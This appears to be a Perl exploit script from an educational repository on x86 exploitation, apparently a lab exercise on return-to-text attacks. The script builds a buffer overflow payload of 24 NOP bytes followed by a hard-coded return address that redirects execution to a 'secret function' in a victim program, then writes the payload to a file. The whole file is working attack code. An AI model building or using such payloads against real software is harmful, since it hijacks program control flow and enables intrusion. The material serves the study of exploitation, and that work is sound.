advanced-exploitation-techniques-x86 / ret2txt / ret2txt_exploit.pl
ret2txt_exploit.pl
Raw
# This address must match the address of secret function on victim 
my $retaddr = "\x96\x84\x04\x08";  #8048496

# Fill NOP instruction
my $pad = "\x90" x 24;

# Input string to our victim's program
my $arg = $pad.$retaddr;

# Let us store the input string to a file
open OUT, "> payload_ret2txt";
print OUT $arg;
close OUT;